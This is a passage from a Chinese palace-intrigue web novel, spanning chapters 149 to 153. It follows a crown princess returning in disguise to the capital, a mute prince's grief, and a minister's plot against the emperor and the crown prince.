江箐珂扯掉他唇角的那根草,“不,阿兄得觉得是!” 江止睁眼瞪着江箐珂,又摆起了那股子凶劲儿。 “老子偏不觉得是!” 江箐珂叹了口气,转身躺到床上,语气坚定道:“既然阿兄不觉得是,那我就自己去。” 江止气得急了眼,腾地在茶桌上坐起来。 冲着她扯脖子凶道:“江箐珂,你他妈的是不是有病?” 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第149章 值不值得,我说了算 江箐珂也扯着脖子跟江止叫板。 “我有病阿兄又不是第一天知晓。” 江止气不打一处来,说话的语气都跟着暴躁、难听了许多。 “老子看你是沉迷男色,病入膏肓,药石无医了!” “好不容易逃出来,你现在又要上赶子回去?” “自降身价,犯贱啊你?” 江止整张脸骨量感很重,眼睛锋锐,瞳色深邃如墨,虽是俊朗长相,可因脸上的那道疤,总是带着点攻击性。 那张脸,那个眼神,只一眼瞪过来,凶巴巴的气势便带着极强的压迫感迎面扑来,好像恨不得下一刻就要把江箐珂吊起来打似的。 江箐珂知道,阿兄是真生气了。 也知道他在气什么,也知道他是为自己好。 江箐珂的气势被江止压弱了几分,连带着说话的声音都软了下来。 她低声解释道:“我只是回京城,又不是回宫。” 江止双手撑在腰间,高高大大一个人站在那里,黑着脸质问她。 “你回去能做什么?” 江箐珂仰着小脸硬气道:“我就回去看看,不现身,只要看到他能顺顺利利地登基即位,我就可以放心地走了。” 江止舌尖顶了下腮,火气上头,转身踹了脚凳子。 “不行,老子不准。” “你是会易容术,还是会奇门遁甲啊?” “那京城里到处不都是李玄尧的眼线,咱们知道的,不知道的,你知道有多少?” “装个乞丐一天不到你就露馅儿,两个包子就能把你给撂倒,就你这样的,回京城能藏多久?” 事实胜于雄辩,江箐珂理亏词穷,只好低头不语,盘坐在那里搓弄着那枚檀木簪子。 江止则继续给她分析着。 “两万重骑军令牌都给太子了,这还不够?” “若真是遇到了太子和皇上都解决不了的事儿,你回去又能做什么?” “说句不好听的,太子若是......” 话说到此处突然停了下来。 不仅是江箐珂,就是他江止也不希望那种事发生。 可他还是字字珠玑地将现实摊在江箐珂的面前。 “若是他一朝失势,你作为太子妃也休想独善其身。” “历朝历代的皇储之争,不是你死,就是我活,太子若是死了,东宫的女子下场都好不了,包括你。” “你现在回京城,搞不好就是去送死。” “能在那之前逃离出来,也算是天意。” 一番话却说得江箐珂来了血性。 “两万重骑兵当摆设不成?” “我就不信,两万大兵压城,谁还敢动他!” “两万若是不成,我们还有五十万!” “我们江家就这么忠君护主,怎么着了?” 可话说完了,她也意识到自己这都是逞能之言。 而江止也道出了她心中顾虑。 “君以德尊,而非强权!” “水能载舟,亦能覆舟。” “两万重骑虽可助他坐稳一时的帝位,却未必能替他守得住民心所向。” “眼下天降谶语四下兴起传散,若世人皆认为太子是妖物,他若真靠兵力镇压臣民之意,强权夺位,岂不正应了那石碑上的谶语?” 江止目光沉沉地看着江箐珂,一字一字地将那谶语念了一遍。 “妖物称帝,祸乱人间,社稷倾危,天下动荡。” “满满,事到如今,太子这局棋不好走,一步错,便是个死局。” 江箐珂却仍倔强地坚持道:“我不信,我们一起想法子,一定能找到破局的法子。” 江止气得没了脾气。 “你这又是何必呢?” “任何人不值得你拿命去护。” 江箐珂却倔强地冲着江止笑:“谁说的?阿兄就值得。还有,值不值得,我说了算!” 江止红着眼凝视着她,默了良久,突然道:“可你若是死了,阿兄怎么办?没你在的西延,知道有多无趣吗?” “......” 江箐珂恍了下神,旋即又红唇皓齿地笑得明媚。 “放心!自古祸害遗千年,阿兄的满满是个作精祸害,定能长命百岁。” “等我看着他能如愿以偿地坐上那个位置,就跟阿兄回西延。” 江止眼尾的红意加重了几分,他偏头看向别处,喉结滚动,用力搓了搓脸。 再转头看向江箐珂时,他懒声笑道:“真的?” 江箐珂用力点头。 “真的。” 江止展开双臂,“那过来让阿兄抱抱。” 笑意立刻收回,江箐珂的眉间鼓几许犹豫。 “咱俩虽是兄妹,可也是男女有别。” “矫情!” 江止翻了个白眼,转身要走,“那京城就不回了吧。” “哎哎哎,别的呀!” 江箐珂立马跳下床,跑到江止身前。 江止捏着她的脖子,不等她把话说出来,就把人拉到胸前按到了怀里。 他弓着腰背,头埋在江箐珂的肩头。 “满满,你是阿兄唯一的亲人了。” “得好好活着。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!江箐珂轻轻拍着江止的背,小声哄道:“我这不活得好好的嘛。” ...... 东宫。 积累多日的折子终于批完了。 李玄尧踏着夜色,踱步回了凤鸾轩。 寝殿里的摆设仍是江箐珂走前的样子,殿内烛火通明,宫人将这里打扫得一尘不染。 手提着两壶烈酒,李玄尧随意地在矮榻坐下。 偏头看向空无一人的身侧,江箐珂戴着眼罩坐在那里怄气的样子,于脑海里浮现,清晰无比,一切都仿佛刚刚在昨日发生似的。 李玄尧仰头咕嘟咕嘟猛灌了好几口酒。 灌得太猛,甘冽醇香的酒液从唇角溢出,顺着下颌流淌,湿了衣襟。 自回了京城后,他夜里时常用酒来麻痹自己,让自己能昏昏沉沉地睡下,然后少想江箐珂一点。 否则长夜难熬,他觉得自己会疯。 适时,曹公公进了寝殿。 “殿下,再过些时日便是殿下的登基大典,按礼部那边的安排,太子妃的封后大典也是同日行礼。” 曹公公小心翼翼地瞧了下眼色,又道:“到时,怕是得让玖儿姑娘出面了。” 一壶烈酒喝了没几口就空了,李玄尧摇了摇酒壶,扔到一旁,随后同曹公公手语示意。 【封后大典不急,暂且往后推一推。】 曹公公应了声“是”后,见李玄尧拿起了另一壶未开封的酒,紧步上前阻拦。 “殿下,烈酒伤喉啊,这酒可不能再喝了。” “殿下的嗓子好不容易才见起色,这么喝下去,怕是要前功尽弃啊。” 李玄尧冷冷勾唇笑了一下,脸上挂着几分自嘲之意。 他从曹公公手里夺过那壶酒,咕嘟咕嘟的,又是半壶灌了下去。 玄色的蟒袍被酒液浸湿,浓烈的酒香掩盖了他身上的龙涎香和那股淡淡的药香气。 曹公公一脸心疼地看着李玄尧,却不知该如何安慰是好,只能捧着拂尘干着急。 眼珠子左右一转,他临时想了个法子。 “殿下,奴才还有件事要同殿下请示。” “这新后的缂丝凤袍和凤冠也都已送来了,要不要让玖儿姑娘先试试?” “毕竟,殿下登基之日,太子妃作为未来大周皇后,殿下的正妻,这按照规矩礼制,是要伴殿下左右,一同出现在登基大典上的。” “但是这玖儿姑娘易容后,虽说跟太子妃像是一个模子刻出来的,可瞧着总好像少了点太子妃的哪股子劲儿。” “奴才也说不出来,不如给叫来,让殿下瞧瞧,指点指点?” 酒不醉人人自醉,李玄尧眨了眨眼,恍然想起来这东宫里还有个假的江箐珂。 曹公公见他没点头,但也没摇头,便退出了寝殿,没多久就带着玖儿和喜晴、花容三人来了凤鸾轩。 “殿下快看。”曹公公道。 李玄尧缓缓抬起醉意朦胧的双眼,那个戴着凤冠、穿着凤袍的“江箐珂”便赫然撞入了他的眼帘。 多日不见的面孔撞得他心头猛烈抽痛,李玄尧瞬间就看得红了眼。 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第150章 替身们 许是得了花容或喜晴的指点,玖儿唇角翘起,一笑嫣然,较之前与江箐珂又像了许多。 她施施然地走到李玄尧身前,盈盈一礼。 眉眼低垂道:“妾......妾身,见过殿下。” 曹公公在旁则笑吟吟道:“殿下快看,这一颦一笑,简直与太子妃一模一样。” 喜晴听后,没好眼色地从背后狠狠瞪了曹公公一眼。 她咬牙切齿,无声地在那儿嘟囔了几句。 李玄尧直直地盯着“江箐珂”,将酒壶里剩的酒一口全都灌了下去。 抬手蹭掉嘴边和下颌上流淌的酒液,他冲玖儿勾了下指头,示意她过来。 玖儿乖顺地挪步至他身前,在李玄尧的身前跪下。 她怯生生地不敢抬头,很怕直视那双怪异却又魅惑妖艳的眼睛。 那双色眸子就好像妖魅的眼睛,只要定定瞧久了,便会让人情不自禁地沦陷其中。 李玄尧却用酒壶瓶子挑起了玖儿的脸,迷蒙的醉眼仅剩几许锋锐之气。 玖儿终是壮着胆子,缓缓掀眸与他对视。 如此近距离的端详,让她不由地心跳加速,面颊被涌上来的那股热意给染红。 李玄尧歪着头,打量了几眼后,侧眸看向喜晴,只因她锥子般的视线很难让人忽视。 只见喜晴站在那里,正不知死活地睁着那双杏眼,气呼呼地瞪着他。 也不怕他动怒,命谷丰将她眼珠子挖出来。 李玄尧摇头哂笑。 真是有其主,必有其奴。 视线回落到“江箐珂”的那张脸上,李玄尧又盯着打量了半晌。 玖儿红着脸回视,羞答答地冲着李玄尧又笑了笑。 矜贵无比又俊美无俦的未来天子,任何女子见了都不免心生涟漪。 李玄尧却是面无表情,唯有满眼的醉意弥漫在眼底,未掺杂半点情绪进去,就好像一个是夜色下的深渊,一个是白日里的冰河。 看着看着,收回酒壶,他叹了口气。 像是像,可眼神骗不了人。 江箐珂就从来不会用这种眼神看他。 一次都没有过。 在江箐珂的眼里,他不是高不可攀的太子,也不是与众不同又可怖的怪物,而是可以平起平坐的...... 李玄尧跟疯了似的,自顾自摇头苦笑了起来。 因为他想到了那个词。 姘头? 抬手从玖儿头上摘下一支金簪,李玄尧用簪尖割断了束腰的锦带。 玖儿红着脸,低下了头。 据她所学,男子行此举,通常是要做那事的。 她便乖乖地跪在那里不动,任由李玄尧将她身上的那件凤袍扯了下去,仅留着里面一身雪白的中衣。 曹公公和花容同时低下头去,都在估量着退出寝殿的时机。 唯有喜晴在那里眼睛冒火似地瞪着李玄尧。 太子殿下若是睡别的女子,她管不着。 可别的女子顶着她家主子的脸,让太子睡,喜晴多多少少觉得有些恶心。 待李玄尧摘掉玖儿的凤冠撇到一旁时,曹公公朝花容和喜晴递了个眼色,示意退出寝殿。 可这时,李玄尧却瞧向茶桌上备用的笔墨纸砚,从笔架上取下一支狼毫笔来。 曹公公是个眼里有活儿的,见状,立即上前研磨,然后躬身退到一旁。 笔尖润满墨汁,他提笔在玖儿两侧的面颊上,分别写了两个字。 宁缺,毋滥。 随手将那支狼毫笔扔到堆叠在地的凤袍上,任由墨渍在缂丝上晕染开一片黑色的圈晕来。 跟随李玄尧多年,曹公公自是窥出了他的心思。 这凤袍不能穿了,那凤冠也都摔坏了,这登基大典自是不用玖儿替太子妃露面了。 只是,得想个好的说辞才是。 曹公公立刻同身后的三人道:“都快退下吧。” 玖儿惊恐又无措地起身,跟着花容先退出了寝殿。 至此,喜晴的脸色才好看点。 帮着曹公公捡起地上的凤袍和凤冠,便一道退了下去。 殿门应声而关,将安静和冷清关在了寝殿里。 李玄尧身子后仰,径直摊躺在矮榻上,就这么借着酒劲儿睡了过去。 ...... 翌日。 李玄尧在去养心殿前,先去了书房,等着穆珩代他上朝而归。 因为穆汐的事,穆珩见到李玄尧,情绪自也是不大爽快。 多年相伴,二人胜似亲兄弟,有时也会不顾地位之分,说上几句玩笑话。 可近几日来,穆珩也同李玄尧生分了几分。 见面之后,一改以前的随意,也开始讲究起君臣之礼来。 行过礼,穆珩将今日朝上之事,事无巨细地同李玄尧复述了一遍。 随后,他才淡声道:“汐儿的丧事都办好了,葬在了穆家祖坟外围最不起眼的地方。殿下若是还顾念几分情谊,日后寻个时间去看看她吧。” 李玄尧并未回应,而是继续琢磨身前的那盘棋。 穆珩知晓李玄尧还在怪穆汐,怪穆汐害得太子妃小产。 于是,他便也不再多说。 本小章还未完,请点击下一页继续阅读后面精彩内容!随手从棋盘里捏了枚黑子,就着现有的棋局与李玄尧下了起来。 下到一半,穆珩又忍不住问道:“殿下登基后,到底如何打算?异瞳之事,目前看来应该是能解决,可殿下不能言语之事,该如何解决?” “我总不能......” 意识到用词不当,穆珩便改言道:“微臣......?” 可他也不是什么朝中大臣啊。 微臣这词,不合适。 遂穆珩又改口道:“草民!” “草民也不能一直留在宫里,冒充殿下,一直替殿下上朝啊。” “我都......草民都替了殿下二十多年了,是真真替够了。” “就盼着早点能做回穆珩,出宫与我夫人团聚去。” “这江山毕竟是殿下的,是李家的,劝殿下快点想个万全之策。” 李玄尧面色平平地点了下头,手语示意穆珩再等些日子。 两人继续又下了一会儿棋,穆珩又同他聊起了京城最近发生的离奇命案。 “按殿下吩咐的,已派谷俊和谷昭两人去查了。” “虽然没什么线索,但从蛛丝马迹来看,应该是惠贵妃的手笔。” “刑部那边有位官员私下里悬赏布告,招天下术士,故意让事态在民间扩散发酵,其用意在明显不过。” “那官员,谷昭也查过了。” “明面上跟惠贵妃无关,可早些年却是从惠贵妃母家等到过好处。” “听说,那人在刑部的官职,就是通过惠贵妃母家重金买来的。” “依我......” 平日里说话随便惯了,突然要改起口来,着实有些困难。 “依草民来看,惠贵妃这是想把殿下变成一个会害人、吸人精血的妖物,到时才拿异瞳之事出来说话,让朝臣和百姓都畏惧你。” 穆珩神色凝重地看着李玄尧,问:“这局,殿下到底打算怎么破?” 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第151章 对弈 穆珩在这儿愁肠百结,李玄尧那边却是气定神闲。 他脸上无甚表情,专注于棋局上,似是并不担心此事,唯有一身冷冽沉郁的气场,昭示着他心绪不佳。 不必多问,穆珩也知晓李玄尧这般是为何。 想了想,自己也有几日未能去看徐菀舒了,心里头便惦念得很。 “我......” “不,草民!” “草民今日想出趟宫,去看看我家夫人,夜里就不回宫住了。” 李玄尧眼睛也不抬一下,只是微微颔首给了回应。 得了准允,穆珩便再没心思在这里陪他下棋,象征性地坐了片刻,便取下面皮,换了身东宫侍卫的衣服,急匆匆地出了宫。 待穆珩走后,曹公公在旁小声问李玄尧。 “徐小娘子的事儿,殿下不打算告诉穆大公子吗?” “这穆大公子今日若是发现人没了,还不知得急成什么样儿呢。” 李玄尧就像没听到似的,又像是没心似的,对曹公公的担忧也仍无任何的回应。 所有的注意力都集中在棋局上,明明没戴面具,却像是戴了副假面似的,脸上没有喜怒哀乐。 不多时,谷丰和谷羽等人提着九个颇为神秘的东西进了书房。 四四方方的,外面都罩着一层黑色的布。 里面偶尔还会发出怪异的声响。 “殿下,您要的,属下寻来了,白色的难寻,费了好几日的功夫这才凑齐。” 言毕,谷羽等人陆续掀起那九块黑布,亮出九个铁笼子来。 而九个铁笼子里则各自关了一只白狐狸。 李玄尧的视线终于从棋盘上移开,看向那九个笼子。 九只白狐狸受了惊,纷纷在笼子里做出防御攻击的姿势,对他呲牙咧嘴地叫着。 一时之间,书房内除了熏香也压不住的狐骚味外,便是此起彼伏的狐叫声。 曹公公不禁好奇道:“不知殿下打算如何利用这九只狐狸?” 李玄尧端着不露喜怒的神仙脸,眼神幽深莫测。 他转头从棋盒里抓起九颗白子,随意往棋盘上一撒,九子四散,打散了一盘尚未定下胜负的棋局。 黑白子混杂一片,棋子接连落地,发出清脆好听的声响。 急促的脚步临近,一名宫婢立马走过去捡起地上的棋子,又分别放回黑白棋盒里。 而一只又白又嫩的小胖手,又抓起一把黑棋,抖了抖手,咿呀咿呀地叫着,学着大人的样子,将棋子胡乱地往棋盘上扔去。 “哎呦,本宫的小祖宗,这棋可不是这么下的。” 惠贵妃将李铮那才满两岁大的长子,从棋盘旁抱起,拿起一个小老虎塞到了小胖手里。 “来,来,来,祖母陪你玩......小老斧!” 哄了一会儿,惠贵妃身旁的老太监赵公公躬着身,碎步走了进来,而赵公公身后还跟着个小太监。 那小太监的怀里则抱着一只猫。 赵公公道:“贵妃娘娘,奴才让人在外面寻了只异瞳猫来,请贵妃娘娘过目。” 惠贵妃将小皇孙递给了一旁的宫婢,手搭着凭几倚坐着,眸眼清冷地朝那小太监的怀里瞧去。 看了后,惠贵妃眉头紧锁,甚是不悦。 “黑猫?” 赵公公尖声细语地拖着长音道:“娘娘,别看这是只黑猫,可这双色猫眼却是满城难寻的。” 惠贵妃感到额角突突跳,脸上只差写上“不满意”三个字。 “还记得那穆良媛是怎么说的吗?”她问。 赵公公想了想,答道:“太子的左眼是水蓝色的,右眼是深褐色的。” “对啊。” 惠贵妃语调冷声嗔怪:“那你看看,这只猫呢?” “一只眼睛是绿色的,一只是米黄色的,这对得上吗?” “再者说,这猫是要当成猫妖,在夜里拿到宫外装妖弄鬼吓唬人的,三更半夜的,它长这么黑,你是想让城中百姓就看两团鬼火飘吗?” 赵公公露出一脸难色,不由地叫起苦来。 “可……贵妃娘娘,这整个京城都寻了个遍,真真是找不到像太子的那种白猫。” 惠贵妃云淡风轻道:“法子总是人想的,京城里找不到,就多派些人手到京城外面找,本宫难道还缺银子不成?” 上面一张嘴,下面跑断腿。 赵公公有苦难言,只能狗哈哈地硬着头皮应下。 “贵妃娘娘教训的是,奴才马上就去办。” 但赵公公并未马上离开,而是将一封书信双手呈给了惠贵妃。 “贵妃娘娘,十殿下的信到了。” “来送信的说,十殿下已经平安到了东营,另外让那人传了个口信,说新收的那位......小娘子还不肯松口。” “说是一定要在收到良籍,看到之前谈好的田庄、商铺和宅院的地契后,才肯开口。” 惠贵妃阴恻恻地冷哼了一声。 “她算个什么东西,小小年纪,竟敢跟本宫谈条件。” “就先由着她吧,催人快点把良籍办好,连带着那些地契一起送到东营,务必赶在太子登基前,让她说出那个大秘密来。” 这章没有结束,请点击下一页继续阅读!“如此,才好一锤子下去,锤得太子翻不了身。” ...... 穆珩买了一堆的东西来到那座偏僻的宅子,还带了徐菀舒最爱吃的酥油鲍螺和栗子糕。 本是满心欢喜来的,在空荡荡的宅院里唤了好几声“舒儿”后,手里提的东西稀里哗啦地掉了一地。 “舒儿!” 穆珩开始在整个院子里四下疯找。 寝房、书房...... 皆不见徐菀舒的身影,连她的衣物首饰也没了影子。 安排的管家不见了,买来伺候徐菀舒的婢女婆子也不见了。 整个宅子里的人,就像突然蒸发了一般,没了踪影。 穆珩站在院子里,环顾四周。 天与地仿佛在打转一般,让人头晕目眩,茫然不知方向。 他的舒儿会去了哪儿? 穆珩相信,他的舒儿没理由带着孩子,一声不吱地离开他。 会是谁把她带走了? 又是出于什么目的? 穆珩能想到只有三个人。 父亲、衡帝和太子。 可李玄尧的为人,穆珩再清楚不过。 他狠归狠,却断不会拿妇孺来威胁人。 至于衡帝和父亲…… 可正值李玄尧登基的关键时刻,衡帝也绝不会走此险棋,抓走徐菀舒来威胁操控他。 毕竟,在江山面前,女人绝不是一个可以拿捏对方的好把柄。 忍痛割爱,美人可以再找,孩子可以再生。 穆珩能怀疑的人便只剩穆元雄了。 这宅子是父亲买下的,管家也是父亲安排的,若衡帝和太子并未安排人暗中跟踪,便只有父亲知晓徐菀舒藏在这里。 思及至此,穆珩丢下那一地的东西,怒气冲冲地朝穆府赶去。 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第152章 你配吗 “皇上派你来何事?” 言语间,穆元雄随意几笔,便在宣纸上勾画出了几根细竹。 随即笔锋扭转,轻轻在纸上点触几下,又是恰到好处的几片竹叶。 八哥儿一身太监打扮,躬身,说起话来不疾不徐,总有种贵公子的沉稳和儒雅。 “回先生,再过几日,便是御花园玉兰花期最盛之时。” “如今太子殿下登基在即,文德皇后及皇上的夙愿终将达成,皇上念在先生多年来为太子筹谋所付出的辛劳,想于七日后在御花园设宴,款待先生以及先生在朝中的几位门生们。” 听到此处,笔尖在宣纸上顿住,晕开的墨渍瞬间就破了那水墨画的意境。 “皇上设宴?” 穆元雄沉思了片刻,轻哂一笑,转而又问八哥儿。 “皇上近几日龙体如何?” “还是老样子。” “那养心殿,你还进不得?” 八哥儿颔首,声色平平道:“养心殿内诸事向来由御前总管亲自料理,未经公公允准,任何人不得擅入。学生亦只能候于殿外,听候差遣。” “皇上这几日可见过朝中的哪位大臣?” 八哥儿摇头。 “学生当差之时,并未见到哪位大臣来过养心殿,就连太子殿下近日也甚少去养心殿。” “那惠贵妃和淑妃可常去养心殿呢?”穆元雄又问。 八哥儿言:“相比惠贵妃,淑妃娘娘和十一皇子倒是常去。” 穆元雄默了须臾,将那几指粗的狼毫笔放下,拿起浸湿的帕子擦去手上的墨迹。 “或许,你看到的,也只是皇上想让你看到的。” “不管如何,太子顺利登基之前,务必要守好皇上,切不可让他人有可乘之机,有何异样必须立即同为师禀告。” “待太子登基后……” 话说到此处,穆元雄目光沉沉地看向八哥儿,突然意味深长地道:“火者,天地至用。可炊金鼎玉食,温人衾裯;亦可焚草木,尽恩仇,一炬而空。” “一炬而空”四个字,咬音极重。 闻言,八哥儿眼底闪过几丝惊诧。 只因他低垂着头,并未让穆元雄看到他眼中的情绪。 毫无由来的一句话,其中的暗示意味再明显不过。 但八哥儿又不太确定自己的揣度是对的。 遂看向穆元雄,茫然问道:“先生的意思是……” 只听穆元雄又提醒了一句。 “眼下虽已入春,可养心殿的地龙仍在烧着吧?” 八哥儿答:“皇上年事已高,且龙体有恙,甚是畏寒,地龙每日都是热的,学生在殿内站上一会儿都会热得出汗。” 穆元雄颔首笑了。 “可还记得为师曾同你们说过,那些装神弄鬼的术士,如何以指引火焚符,行欺诈之术的?” 八哥儿回道:“学生记得,是白磷粉。” 穆元雄目光赞许地看着八哥儿点了下头。 “不错。” 八哥儿似乎要言语什么,穆元雄却抢了他的话。 他问八哥儿:“若是某日,有人提着剑对着为师,八哥儿该如何?” 八哥儿没有半点犹豫,立刻言道:“先生于八哥儿有养育之恩,定誓死保护先生。” 穆元雄一脸欣慰地笑了。 “当然,为师收养你们,同你们授业解惑,图的自不是让你们舍命救为师。” “但你要知道君心难测。” “以史为鉴,便可知历代君王均有一个通病。” “那就是兔死狗烹,鸟尽弓藏。” “穆家知晓太子太多秘密,皇上其实也早已对为师多有忌惮。” “上次为师被罢黜抄家,实则是皇上借惠贵妃的母家势力,于暗中推波助澜,想灭灭为师当时在朝中的势头。” “待惠贵妃一族在朝中势力渐盛,又将为师调回京城压制。” “此举乃国君天子的捭阖纵横之道。” “他们肆意将忠心之臣玩弄于鼓掌,毫无君臣道义之言。” “为师担心太子顺利登基后,皇上便会将对穆家下手,除掉一切会威胁太子的后患。” 穆元雄神色突然变得凝重起来。 “八哥儿,如此,你当如何?” 八哥儿一时之间不知该如何作答。 只要不傻,都能听得出话中意。 先发制人,才能护先生平安。 可八哥儿一直以为,他留在宫里,只要当先生的眼睛,帮先生做事,行忠君之事便可。 从没想过有朝一日,要做弑君之行。 思忖片刻,八哥儿问道:“先生年事已高,为何不辞官归里,享天伦之乐?若是可以,八哥儿愿追随侍奉先生。” 穆元雄甚是惆怅地叹了口气。 “穆家已没有退路。” 八哥儿仍是不解。 “可太子殿下不能发声,未来还是要用到大公子的。” “既有用到穆家之处,皇上又怎会自斩太子殿下的左膀右臂,除掉先生,得罪大公子呢?” 就如同以前当太傅为学生授业解惑一般,穆元雄的语气平和地反问八哥儿。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“易容、口技,寻个颇有天赋的人便可,换做是你,是放一个可以操控的提线傀儡在身边的好,还是养一个能说会走的人放心?” 答案不言而喻。 是啊,先生就是先生。 吃的盐比他多,经历的大风大浪也比他多,最是懂人心险恶的。 “学生明白了,八哥儿定……不负先生所托。” 穆珩冲进穆府大门时,正巧碰见八哥儿从里面出来。 八哥儿冲他恭敬一礼,而穆珩却无暇回应,也无心去问他来此处所为何事。 疾步穿过抄手游廊,穆珩冲到穆元雄的书房里。 穆元雄此时站在书案前,正要另铺纸起笔作画,听到脚步声,便抬头瞧了穆珩一眼。 “菀舒在哪里?” 穆珩一进来就冲着穆元雄高声质问,“父亲将她藏在了何处?” 阅尽沧桑的双眼冷冷地乜了穆珩一样,穆元雄沉声斥责。 “这就是你身为人子,对父亲该有的礼数?” “那些礼教规矩都白学了?” “还是扮太子扮得太久,忘了自己的身份?” 唇线紧绷成一条直线,垂在身侧的手也紧握成拳。 穆珩压着内心的焦灼和愤怒,重复质问。 “可是父亲将菀舒藏起来的?” 穆元雄避而不答,反倒教训起穆珩来。 “你这般儿女情长,又沉不住气,日后怎能成大器?” 而穆珩才不想听这些说教。 他走到案桌前,目光锐利无比地盯着穆元雄,咬字重复质问。 “我问你呢,菀舒在哪里?” 双手拍在案桌上的那张宣纸上,他微微探身,朝穆元雄的脸又逼近了几分。 “说!她在哪儿?” 穆元雄眼含怒意地将毛笔扔到一旁,“太子不怀疑,皇上不怀疑,倒先怀疑起自己的亲生父亲了?” 像是听到了极其好笑的话,穆珩哂笑了一声,讥讽之意从唇角窜到眉眼。 “你配当父亲吗?” “连自己的女儿,都舍得毒哑。” “万佛寺的火,父亲大人派人放的吧?” 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第153章 回京 穆元雄那满是皱纹的眼角肉眼可见地抽动了几下。 只听穆珩又哂笑问道:“怎么,父亲大人是没想到早就被我看穿了?” 他摇着头,泛红的眼里涌现的都是愤怒和憎恶之情。 “别以为父亲的心思,我不知道。” “连自己的女儿都舍得拿来当棋子,你还有什么干不出来的?” “父亲二字,你不配!” 话音刚落,重重的一巴掌便打在了穆珩的脸上。 清脆的声响,碎的是早已皲裂的体面。 唇角隐隐有血腥气溢进嘴里,被打偏的脸回正,穆珩眼中噙泪地看着穆元雄冷笑嘲讽。 “活了这么大把年纪了,还如此沉不住气,如何大器晚成啊?” “被人揭穿丢面子了吧?” “要不,我这个当儿子的,再揭你几层皮?” 穆元雄直直地看着穆珩,恼怒、羞愤和惊诧在他眼中交叠翻涌。 “母亲也是你毒死的吧?” 言语间,穆珩的十指一点点蜷缩。 他骨节泛白,手背上青筋暴起,将那手下的宣纸一点点抓皱,皱得纸从中间一点点被扯裂。 “别以为儿子那时小,什么都不知道。” “可我会长大,会回忆,会思考。” “你的那些阴险卑鄙,不过是自以为是的自欺欺人罢了!” 错愕和慌乱之后,穆元雄深吸一口气,开始为自己高声辩解。 “是你母亲先负的我!” “穆汐是你母亲与你堂叔生下的孽种。” “贱人自是该死。” 穆珩却流泪嘲笑道:“别以为我不知道,父亲对文德皇后的心思,论忠贞,父亲大人也没好到哪儿去。” “自己做不到的,何苦去要求别人。” “母亲是否真与堂叔通奸,我不知晓,但我却知,穆汐是无辜的。” “父亲千不该万不该,将一个唤你为父亲的孩子用药毒哑,更不该为了自己的野心和私欲将太子毒哑。” “父亲大人真是好狠的心!” 穆元雄面色涨红,抬手指着穆珩反驳道:“我所做的一切,还不是为了你,为了穆家!” “错!” 一气之下,穆珩将那一桌子的文房四宝都推到了地下。 他用手指着穆元雄,扯着血管爆起的脖子,大声斥责反驳:“你是为了你自己!” “是你痴心妄想,是你居心叵测,对李家的江山图谋不轨!” “别把自己那肮脏龌龊的心思,说得如此的冠冕堂皇。” “我压根儿对那位置不感兴趣!” “劝你今早收手,否则父亲大人的下场会很惨!” 事已至此,穆元雄也懒得再同穆珩理论。 早知他会如此,心里也早有准备。 唯一未能预料的是穆珩所知的事实竟如此之多。 索性…… 穆元雄收敛神色和激动的情绪,在案桌前落座。 “如今,你没得选。” “就知你会如此胸无大志,为父才会偷偷将徐菀舒带离京城,送到一处你找不到的地方。” 官海浮沉多年,一双沧桑的眼睛深邃且阴鸷。 穆元雄看着穆珩笑意不达眼底。 “想她和肚子里的孩子好好活着,就乖乖照为父所说的去做。” “否则,这辈子,你都别想再见到她。” 所有积攒压抑的情绪都在此刻到了极限,穆珩绕过案桌,冲过去,揪着衣襟,将穆元雄提起。 “你还是不是人?” “那是你的儿媳,她肚子里的孩子是咱们穆家的血脉啊!” 一行泪顺着眼角夺眶而出,穆珩颤声道:“算我求你,收手吧。” “放过我,也放过她。” “儿子只想找回本该属于自己的名字,真真正正地做回穆珩,跟妻儿过我该过的日子。” “那皇宫,儿子真的是住够了。” “父亲大人可知,每日被一双双阴暗的眼睛窥视,有多窒息,多可怕,多疲惫。” “我不想再整日提心吊胆,如履薄冰的日子。” “父亲若是尚有良心,成全儿子可好?” “我可既往不咎,带父亲寻处僻静之处,让父亲享受天伦之乐,安度余生。” 穆元雄却不以为然地笑了笑,好似穆珩说的话是痴心妄想。 “天真。” “无上的权力,才能护住你想要的。” 穆元雄语气平静和缓,却也凉薄又淡漠。 “穆珩,现在便是如此。” “只要你坐上那个位置,便可用皇权,守住你倾心的女子,守住你的这身傲骨。” “而非你此时这般,无能地同为父咆哮愤怒。” 穆元雄拨开穆珩的手,转身从博古架上取下一个小瓷瓶,塞到穆珩的手中。 他拖着苍老的声调道:“登基大典之后,除了李玄尧,为父会帮你把这个天下变成穆家的天下。到时,菀舒便是你的皇后。” 穆珩看着手里的那瓶毒药,无力地笑了。 他仰头闭眼,任由泪水从眼角滑落。 …… 春和日丽,回往京城的路上杏花、桃花开了一片。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!江箐珂同江止仍是那身道士打扮,只不过用金镯子换来的银子,又添办了些家伙事儿,看起来更像地地道道的道姑和道士了。 银子有限,又要吃饭住宿,两人买不起马,便买了两头小毛驴,哒哒地骑着往京城赶。 毛驴跑得没马快,江止便叼着根狗尾巴草,倒骑在驴背上,悠哉悠哉地跟江箐珂闲聊着。 “你那法子能行吗?” 江箐珂道:“那眼下咱俩能用的法子,也就这一种,先试试呗。” “就借着狐妖妲己转世的谶语,把妖物的嫌疑都转嫁到惠贵妃头上,到时她若再站出来指着太子说他是妖物,便可说她是妖言惑众,狐狸精的话不能信。” 江止挑眉,勉强地点了点头,“行吧。” 坐在驴背上晃悠了半晌,他又问:“那咱们这谣要怎么编?” “就说师祖夜观天象,窥见京城上方黑气缭绕,掐指一算,是九尾狐妲己现世,附身在宫里的一位贵人身上,靠美色迷惑众生,靠吸人精血来容颜永驻?” 江箐珂想了想,觉得不妥。 “黑气是不是就得是只黑狐狸?” “不符合妲己的妖艳气质,我觉得红的好。” “九尾赤狐。” 江止懒洋洋道:“行,那就说夜观天象,窥见京城上方红气缭绕……” 如此,两人途中经过各地茶馆、驿站时,便开始“妖言惑众”。 “……那九尾黑狐之前元气大损,无法现形转化人身……” 